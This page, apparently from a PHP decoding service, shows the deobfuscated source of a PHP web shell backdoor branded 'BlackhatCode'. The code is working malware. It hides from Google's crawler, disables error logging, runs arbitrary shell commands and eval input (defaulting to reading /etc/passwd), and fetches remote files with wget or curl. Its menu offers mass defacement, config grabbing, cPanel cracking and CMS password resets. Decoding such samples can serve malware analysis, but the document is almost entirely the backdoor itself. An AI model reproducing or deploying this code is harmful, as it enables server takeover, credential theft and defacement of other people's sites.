Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php @ini_set('output_buffering',0); @ini_set('display_errors', 0); $BlackhatCode = "7..

Decoded Output download

$color = "#00ff00"; 
$default_action = 'FilesMan'; 
@define('SELF_PATH', __FILE__); 
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { 
    header('HTTP/1.0 404 Not Found'); 
    exit; 
} 
@session_start(); 
@error_reporting(0); 
@ini_set('error_log',NULL); 
@ini_set('log_errors',0); 
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0); 
@ini_set('display_errors', 0);
@set_time_limit(0); 
@set_magic_quotes_runtime(0); 
@define('VERSION', '2.1'); 
if( get_magic_quotes_gpc() ) { 
    function stripslashes_array($array) { 
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); 
    } 
    $_POST = stripslashes_array($_POST); 
} 
function printLogin() { 
    ?> 
<body bgcolor="black"><title>Input Password!</title> <link rel="SHORTCUT ICON" href="https://lifeingrcc.files.wordpress.com/2010/10/4bde2f9c276d5.png">
<center><br><br><br><img src='http://s7.postimg.org/kyxtq8wl7/Pancasila.png' style='opacity:0.4;filter:alpha(opacity=40)' onmouseover='this.style.opacity=1;this.filters.alpha.opacity=100' onmouseout='this.style.opacity=0.4;this.filters.alpha.opacity=40' height='400' weight="400"><br></a><br><br>
    <style> 
        input { margin:0;background-color:#fff;border:1px solid #fff; } 
    </style> 
    <center> 
    <form method=post> 
    <input type=password name=pass> 
    </form></center> 
    <?php 
    exit; 
} 
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] )) 
    if( empty( $auth_pass ) || 
        ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) ) 
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; 
    else 
        printLogin();
		
@ini_set('log_errors',0);
@ini_set('output_buffering',0);	
if(isset($_GET['dl']) && ($_GET['dl'] != "")){
	$file = $_GET['dl'];
	$filez = @file_get_contents($file);
   header("Content-type: application/octet-stream"); 
   header("Content-length: ".strlen($filez)); 
   header("Content-disposition: attachment; filename=\"".basename($file)."\";");
   echo $filez; 
    exit; 
}
elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
	$file = $_GET['dlgzip'];
	$filez = gzencode(@file_get_contents($file));
   header("Content-Type:application/x-gzip
"); 
   header("Content-length: ".strlen($filez)); 
   header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
   echo $filez; 
    exit; 
}
// view image
if(isset($_GET['img'])){
		@ob_clean(); 
		$d = magicboom($_GET['y']);
		$f = $_GET['img'];
		$inf = @getimagesize($d.$f); 
   		$ext = explode($f,"."); 
   		$ext = $ext[count($ext)-1]; 
   	 	@header("Content-type: ".$inf["mime"]);
   	 	@header("Cache-control: public"); 
  		@header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); 
  		@header("Cache-control: max-age=".(60*60*24*7));  
   	 	@readfile($d.$f); 
   	 	exit; 
}

// server software
$software = getenv("SERVER_SOFTWARE");
// check safemode
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")  $safemode = TRUE; else $safemode = FALSE;
// uname -a
$system = @php_uname();
// mysql
function showstat($stat) {if ($stat=="on") {return "<b><font style='color:limegreen'>ON</font></b>";}else {return "<b><font style='color:red'>OFF</font></b>";}}
function testmysql() {if (function_exists('mysql_connect')) {return showstat("on");}else {return showstat("off");}}
function testcurl() {if (function_exists('curl_version')) {return showstat("on");}else {return showstat("off");}}
function testwget() {if (exe('wget --help')) {return showstat("on");}else {return showstat("off");}}
function testperl() {if (exe('perl -h')) {return showstat("on");}else {return showstat("off");}}
// check os
if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
else $win = FALSE; 
// change directory
if(isset($_GET['y'])){
	if(@is_dir($_GET['view'])){
		$pwd = $_GET['view'];
		@chdir($pwd);
	}
	else{
		$pwd = $_GET['y'];
		@chdir($pwd);
	}
}
//hdd
function convertByte($s) {
if($s >= 1073741824)
return sprintf('%1.2f',$s / 1073741824 ).' GB';
elseif($s >= 1048576)
return sprintf('%1.2f',$s / 1048576 ) .' MB';
elseif($s >= 1024)
return sprintf('%1.2f',$s / 1024 ) .' KB';
else
return $s .' B';
}

// username, id, shell prompt and working directory
if(!$win){
	if(!$user = rapih(exe("whoami"))) $user = "";
	if(!$id = rapih(exe("id"))) $id = "";
	$prompt = $user." \$ ";
	$pwd = @getcwd().DIRECTORY_SEPARATOR;
}
else {
	$user = @get_current_user();
	$id = $user;
	$prompt = $user." &gt;";
	$pwd = realpath(".")."\";
	// find drive letters
 	$v = explode("\",$d); 
	$v = $v[0]; 
 	foreach (range("A","Z") as $letter) 
 	{ 
	  $bool = @is_dir($letter.":\");
	  if ($bool) 
	  { 
 		  $letters .= "<a href=\"?y=".$letter.":\">[ ";
		   if ($letter.":" != $v) {$letters .= $letter;} 
		   else {$letters .= "<span class=\"gaya\">".$letter."</span>";} 
		   $letters .= " ]</a> "; 
  	  }	 
 } 
}

function testoracle() {
    if (function_exists('ocilogon')) { return showstat("on"); }
    else { return showstat("off"); }
    }

function testmssql() {
    if (function_exists('mssql_connect')) { return showstat("on"); }
    else { return showstat("off"); }
    }

 function showdisablefunctions() {
    if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:'><font color=limegreen><b>".$disablefunc."</b></font></span>"; }
    else { return "<span style='color:'><font color=red><b>NONE</b></font></span>"; }
    }
	
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
// server ip
$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
// your ip ;-)
$my_ip = $_SERVER['REMOTE_ADDR'];
$admin_id=$_SERVER['SERVER_ADMIN'];
$bindport = "13123";
$bindport_pass = "b374k";

// separate the working direcotory
$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
$pwdurl = "";
for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
	$pathz = "";
	for($j = 0 ; $j <= $i ; $j++){
		$pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
	}
	$pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
}
	
// Rename file or folder
if(isset($_POST['Rename'])){
	$old = $_POST['oldname'];
	$new = $_POST['newname'];
	@Rename($pwd.$old,$pwd.$new);
	$file = $pwd.$new;
}
if(isset($_POST['Chmod'])){ 
	$name = $_POST['name'];
	$value = $_POST['newvalue'];
if (strlen($value)==3){
	$value = 0 . "" . $value;}
	@Chmod($pwd.$name,octdec($value));
	$file = $pwd.$name;}
	
if(isset($_POST['Chmod_folder'])){
	$name = $_POST['name'];
	$value = $_POST['newvalue'];
if (strlen($value)==3){
	$value = 0 . "" . $value;}
	@Chmod($pwd.$name,octdec($value));
	$file = $pwd.$name;}


// print useful info
$buff .= "Shell Backdoor Version : <b>BlackhatCode Private Shell Final Recode - AnonGhost Indonesia Team * Bima Cyber Team</b><br>";
$buff .= "Kernel Server : <b>".$system."</b><br />";
$buff .= "Server IP : <b>".$server_ip."</b> <span class=\"gaya\"> | </span> IP Surfing : <b>".$my_ip."</b><span class=\"gaya\"> | </span> Admin : <b>".$admin_id."</b><br />";
if($safemode) $buff .= "Safemode : <span class=\"gaya\"><b>ON</b></span>";
else $buff .= "Safemode : <span class=\"gaya\"><b>OFF</b></span>&nbsp;|&nbsp";
$buff .= "MySQL: ".testmysql()."&nbsp;|&nbsp;MSSQL: ".testmssql()."&nbsp;|&nbsp;Oracle: ".testoracle()."&nbsp;|&nbsp;Perl: ".testperl()."&nbsp;|&nbsp;cURL: ".testcurl()."&nbsp;|&nbsp;WGet: ".testwget()."<br>";
$buff .= "Directory Server : <font color=00ff00 ><b>".$letters."&nbsp;&gt;&nbsp;".$pwdurl."</b></font>";

function rapih($text){
	return trim(str_replace("<br />","",$text));
}

function magicboom($text){
	if (!get_magic_quotes_gpc()) {
   		 return $text;
	} 
	return stripslashes($text);
}

function showdir($pwd,$prompt){
	$fname = array();
	$dname = array();
	if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
	else $posix = FALSE;
	$user = "????:????";
	if($dh = @scandir($pwd)){
		foreach($dh as $file){
			if(is_dir($file)){
				$dname[] = $file;
			}
			elseif(is_file($file)){
				$fname[] = $file;
			}
		}
	}
	else{
		if($dh = @opendir($pwd)){
			while($file = @readdir($dh)){
				if(@is_dir($file)){
					$dname[] = $file;
				}
				elseif(@is_file($file)){
					$fname[] = $file;
				}
			}
			@closedir($dh);
		}
	}

	
	sort($fname);
	sort($dname);
	$path = @explode(DIRECTORY_SEPARATOR,$pwd);
	$tree = @sizeof($path);
	$parent = "";
	$buff = "
	<center><br>
	<Form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
	<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
	<tr><td><b>View File/Folder : </b></td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"Text\" Name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" /><input class=\"inputzbut\" type=\"submit\" value=\"View !\" Name=\"submitCMD\" style=\"width:80px;\" /></td></tr> </center>
	</Form></table><table class=\"explore\"> </center> <br>	<tr>
	<th style='width:350px;'> Name</th><th style='width:90px;'>Size</th><th style='width:255px;'>Owner:Group</th><th style='width:105px;'>Permission</th><th style='width:150px;'>Modified</th><th style='width:200px;'>Actions</th></tr>
	"; 
	if($tree > 2) For($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
	else $parent = $pwd;

	Foreach($dname as $folder){
		if($folder == ".") {
			if(!$win && $posix){
				$name=@posix_getpwuid(@fileowner($folder));
				$group=@posix_getgrgid(@filegroup($folder));
				$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
			}
			else {
				$owner = $user;
			}
			$buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td>
			<td style=\"Text-align:center;\">".$owner."</td><td><center>".get_perms($pwd)."</center></td>
			<td style=\"Text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\">
			<a href=\"?y=$pwd&amp;Edit=".$pwd."Newfile.php\">Newfile</a> | <a href=\"javascript:tukar('titik1','titik1_Form');\">New Folder</a></span>
			<Form action=\"?\" method=\"get\" id=\"titik1_Form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
			<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
			<input class=\"inputz\" style=\"width:140px;\" type=\"Text\" name=\"mkdir\" value=\"New Folder\" />
			<input class=\"inputzbut\" type=\"submit\" name=\"Rename\" style=\"width:35px;\" value=\"Go !\" />
			</Form></td>

			</tr>
			";
		}
		elseif($folder == "..") {
			if(!$win && $posix){
				$name=@posix_getpwuid(@fileowner($folder));
				$group=@posix_getgrgid(@filegroup($folder));
				$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
			}
			else {
				$owner = $user;
			}
		$buff .= "<tr><td><a href=\"?y=".$parent."\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'>   $folder</a></td><td>LINK</td>
			<td style=\"text-align:center;\">".$owner."</td>
			<td><center>".get_perms($parent)."</center></td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
			<td><span id=\"titik2\"><a href=\"?y=$pwd&amp;Edit=".$parent."Newfile.php\">Newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">New Folder</a></span>
			<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
			<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
			<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"New Folder\" />
			<input class=\"inputzbut\" type=\"submit\" name=\"Rename\" style=\"width:35px;\" value=\"Go !\" />
			</form>
			</td></tr>";
		}
		else {
			if(!$win && $posix){
				$name=@posix_getpwuid(@fileowner($folder));
				$group=@posix_getgrgid(@filegroup($folder));
				$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
			}
			else {
				$owner = $user;
			}
			$buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' />     [ $folder ]</b></a>
			<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
			<input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
			<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
			<input class=\"inputzbut\" type=\"submit\" name=\"Rename\" value=\"Rename\" />
			<input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
			</form><td>DIR</td><td style=\"text-align:center;\">".$owner."</td>
			<td><center>
			<a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".get_perms($pwd.$folder)."</a>
			<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
			<input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" /> 
			<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" /> 
			<input class=\"inputzbut\" type=\"submit\" name=\"Chmod_folder\" value=\"Chmod\" /> 
			<input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\" 
			onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></center></td>
			<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">Rename</a> | <a href=\"?y=$pwd&amp;fDelete=".$pwd.$folder."\">Delete</a></td></tr>";
		}
	}

	foreach($fname as $file){
		$full = $pwd.$file;
		if(!$win && $posix){
			$name=@posix_getpwuid(@fileowner($folder));
			$group=@posix_getgrgid(@filegroup($folder));
			$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
		}
		else {
			$owner = $user;
		}		
		$buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&amp;view=$full\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' />   $file</b></a>
		<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
		<input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
		<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
		<input class=\"inputzbut\" type=\"submit\" name=\"Rename\" value=\"Rename\" />
		<input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
		</form></td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td><center>
		<a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".get_perms($full)."</a>
		<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"Chmod\" value=\"Chmod\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"Cancel\" value=\"Cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" /></form></center></td>
		<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
		<td><a href=\"?y=$pwd&amp;Edit=$full\">Edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">Rename</a> | <a href=\"?y=$pwd&amp;Delete=$full\">Delete</a> | <a href=\"?y=$pwd&amp;dl=$full\">Download</a></td></tr>";
	}
	$buff .= "</table>";
	return $buff;
}


function ukuran($file){
	if($size = @filesize($file)){
		if($size <= 1024) return $size;
		else{
			if($size <= 1024*1024) {
				$size = @round($size / 1024,2);;
				return "$size KB";
			}
			else {
				$size = @round($size / 1024 / 1024,2);
				return "$size MB";	
			}
		}
	}
	else return "???";
}

function exe($cmd){
	if(function_exists('system')) {
		@ob_start();
		@system($cmd);
		$buff = @ob_get_contents();
		@ob_end_clean();
		return $buff;
	}
	elseif(function_exists('exec')) {
		@exec($cmd,$results);
		$buff = "";
		foreach($results as $result){
			$buff .= $result;
		}
		return $buff;
	}
	elseif(function_exists('passthru')) {
		@ob_start();
		@passthru($cmd);
		$buff = @ob_get_contents();
		@ob_end_clean();
		return $buff;
	}
	elseif(function_exists('shell_exec')){
		$buff = @shell_exec($cmd);
		return $buff;
	}
}

function tulis($file,$text){
	$textz = gzinflate(base64_decode($text));
	 if($filez = @fopen($file,"w"))
	 {
		 @fputs($filez,$textz);
		 @fclose($file);
	 }
}

function ambil($link,$file) { 
   if($fp = @fopen($link,"r")){
	   while(!feof($fp)) { 
   		    $cont.= @fread($fp,1024); 
   		} 
   		@fclose($fp); 
	   $fp2 = @fopen($file,"w"); 
	   @fwrite($fp2,$cont); 
	   @fclose($fp2); 
   }
}

function which($pr){
	$path = exe("which $pr");
	if(!empty($path)) { return trim($path); } else { return trim($pr); }
}

function download($cmd,$url){
	$namafile = basename($url);
	switch($cmd) {
		case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;
		case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;
		case 'wfread' : ambil($wurl,$namafile);break;
		case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
		case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
		case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
		case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
		default: break;
	}
	return $namafile;
}

function get_perms($file)
{
	if($mode=@fileperms($file)){
		$perms='';
		$perms .= ($mode & 00400) ? 'r' : '-';
		$perms .= ($mode & 00200) ? 'w' : '-';
		$perms .= ($mode & 00100) ? 'x' : '-';
		$perms .= ($mode & 00040) ? 'r' : '-';
		$perms .= ($mode & 00020) ? 'w' : '-';
		$perms .= ($mode & 00010) ? 'x' : '-';
		$perms .= ($mode & 00004) ? 'r' : '-';
		$perms .= ($mode & 00002) ? 'w' : '-';
		$perms .= ($mode & 00001) ? 'x' : '-';
		return $perms;
	}
	else return "??????????";
}

function clearspace($text){
	return str_replace(" ","_",$text);
}

?>
<html><link href='http://fonts.googleapis.com/css?family=Handlee' rel='stylesheet' type='text/css'><head><link rel="SHORTCUT ICON" href="https://lifeingrcc.files.wordpress.com/2010/10/4bde2f9c276d5.png"><title>BlackhatCode Backdoor</title>
<script type="text/javascript">
function tukar(lama,baru){
	document.getElementById(lama).style.display = 'none';
	document.getElementById(baru).style.display = 'block';
}
</script>
<style type="Text/css">
body{
	background:transparant;;
}
a {
Text-decoration:none;
}
a:hover{
border-bottom:1px solid silver;
}
*{
	font-size: 12px;
  font-family: 'Handlee';
	color:silver;
}
#menu a{ 
padding: 3px; 
border: 1px solid silver; 
color: silver; 
text-decoration: none;
color: silver; 
  font-family: 'Handlee';
font-size: 13px;
 }
#menu a:hover{ 
border: 1px solid red; color: red;
 }
.tabnet{
	margin:15px auto 0 auto;
	border: 1px solid #333333;
	font-size: 12px;
  font-family: 'Handlee';
    color:silver;
}
.main {
	width:100%;
	border: 1px solid #333333;
}
.gaya {
	color: silver;
}
.inputz{
        background:#111111;
        border:0;
        padding:2px;
        border-bottom:1px solid #222222;
        border-top:1px solid #222222;
}
.inputzbut{
        background:#000000;
        color:silver;
        margin:0 3px;
        border:1px solid #444444;
 
}
.inputz:hover, .inputzbut:hover{
	border-bottom:1px solid silver;
	border-top:1px solid silver;
}
.output {
	margin:auto;
	border:1px solid silver;
	width:100%;
	height:400px;
	background:#000000;
	padding:0 2px;
}
.CMDbox{
	width:100%;
}
.head_info{
	padding: 0 6px;
}
.jaya{ font-family: ;}

.cahyo{
	font-size:30px;
	padding:0;
	color:#444444;
}
.cahyo_tbl{
	Text-align:center;
	margin:0 4px 0 0;
	padding:0 4px 0 0;
	border-right:1px solid #333333;
}
.phpinfo table{
	width:100%;
	padding:0 0 0 0;
}
.phpinfo td{
	background:#111111;
	color:#cccccc;
padding:6px 8px;;
}
.phpinfo th, th{
	background:#191919;
	border-bottom:1px solid #333333;
font-weight:normal;
}
.phpinfo h2, .phpinfo h2 a{
	Text-align:center;
	font-size: 12px;
	padding:0;
	margin:30px 0 0 0;
	background:#222222;
	padding:4px 0;
}
.explore{
width:100%;
}
.explore a {
Text-decoration:none;
}
.explore td{
border-bottom:1px solid #333333;
padding:0 8px;
line-height:24px;
}
.explore th{
padding:3px 8px;
font-weight:normal;
}
.explore th:hover , .phpinfo th:hover{
border-bottom:1px solid silver;
}
.explore tr:hover{
background:#111111;
}
.viewfile{
background:#EDECEB;
color:#000000;
margin:4px 2px;
padding:8px;
}
.sembunyi{
display:none;
padding:0;margin:0;
}

</style></head>
<script language='javascript'>
if (document.all||document.getElementById){
var thetitle=document.title
document.title=''
}
var data="AnonGhost Indonesia Team";
var done=1;
function statusIn(text){
decrypt(text,22,22);
}
function statusOut(){
self.status='';
done=1;
}
function decrypt(text, max, delay){
if (done){
done = 0;
rantit(text, max, delay, 0, max);
} 
}
function rantit(text, runs_left, delay, charvar, max){
if (!done){
runs_left = runs_left - 1;
var status = text.substring(0,charvar);
for(var current_char = charvar; current_char < text.length; current_char++){
status += data.charAt(Math.round(Math.random()*data.length));
}
document.title = status;
var rerun = "rantit('" + text + "'," + runs_left + "," + delay + "," + charvar + "," + max + ");"
var new_char = charvar + 1;
var next_char = "rantit('" + text + "'," + max + "," + delay + "," + new_char + "," + max + ");"
if(runs_left > 0){
setTimeout(rerun, delay);
}
else{
if (charvar < text.length){
setTimeout(next_char, Math.round(delay*(charvar+3)/(charvar+1)));
}
else
{
done = 1;
}
}
}
}
if (document.all||document.getElementById)
statusIn(thetitle)
</script><body bgcolor="black" onLoad="document.getElementById('cmd').focus();"><div class="main">
<div class="head_info"><table><td><tr></tr></td><table ><td><?php echo $buff; ?></td></tr></table></div>
<center><br><div id="menu">
<a href="?<?php echo "y=".$pwd; ?>">File Manager</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=eval">Eval Passwd</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=upload">Upload File</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=mysql">MySQL Connect</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=wpreset">WordPress Password Reset</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=jmreset">Joomla Password Reset</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=mass">Mass Deface</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=domain">Domain Viewer</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=jumping">Jumping Server</a><br><br>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=Symlink">Symlink Server</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=configs">Config Grabber</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=conkill">Config Killer</a> 
<a href="?<?php echo "y=".$pwd; ?>&amp;x=cpanel">cPanel Cracker</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=zone">Zone-H Poster</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=encode">Encode And Decode</a>
<a href="?">Back To Shell</a>
<a href="?<?php echo "y=".$pwd;	?>&amp;x=logout">Log-Out</a> <br>

 </div></center>
<!-- menu End -->
<?php
@ini_set('display_errors', 0);
if(isset($_GET['x']) && ($_GET['x'] == 'eval')){ ?>
<Form action="?y=<?php echo $pwd; ?>&amp;x=eval" method="post">
<table class="CMDbox">
<tr><td>
<Textarea class="output" name="CMD" id="CMD">
<?php
if(isset($_POST['submitCMD'])) {
	echo eval(magicboom($_POST['CMD']));
}
else echo "echo file_get_contents('/etc/passwd');";
?>
</Textarea>
<tr><td><p align="center"><input style="width:15%;" class="inputzbut" type="submit" value="Go !" name="submitCMD" /></td></tr></p></Form>
</table>
</Form>


<?php	}
elseif(isset($_GET['x']) && ($_GET['x'] == 'wpreset'))
{

echo "<center/><b><br><br><font color=#00eaff>  Wordpress Password Reset </font></b><br>";
  
  if(empty($_POST['pwd'])){
  
echo "<FORM method='POST'>
<table class='tabnet' style='width:390px;'><tr><td>&nbsp;&nbsp;Hostname</td><td>
<input style='width:310px;' class='inputz' type='Text' name='localhost' value='localhost' /></td></tr> <tr><td>&nbsp;&nbsp;Database</td><td>
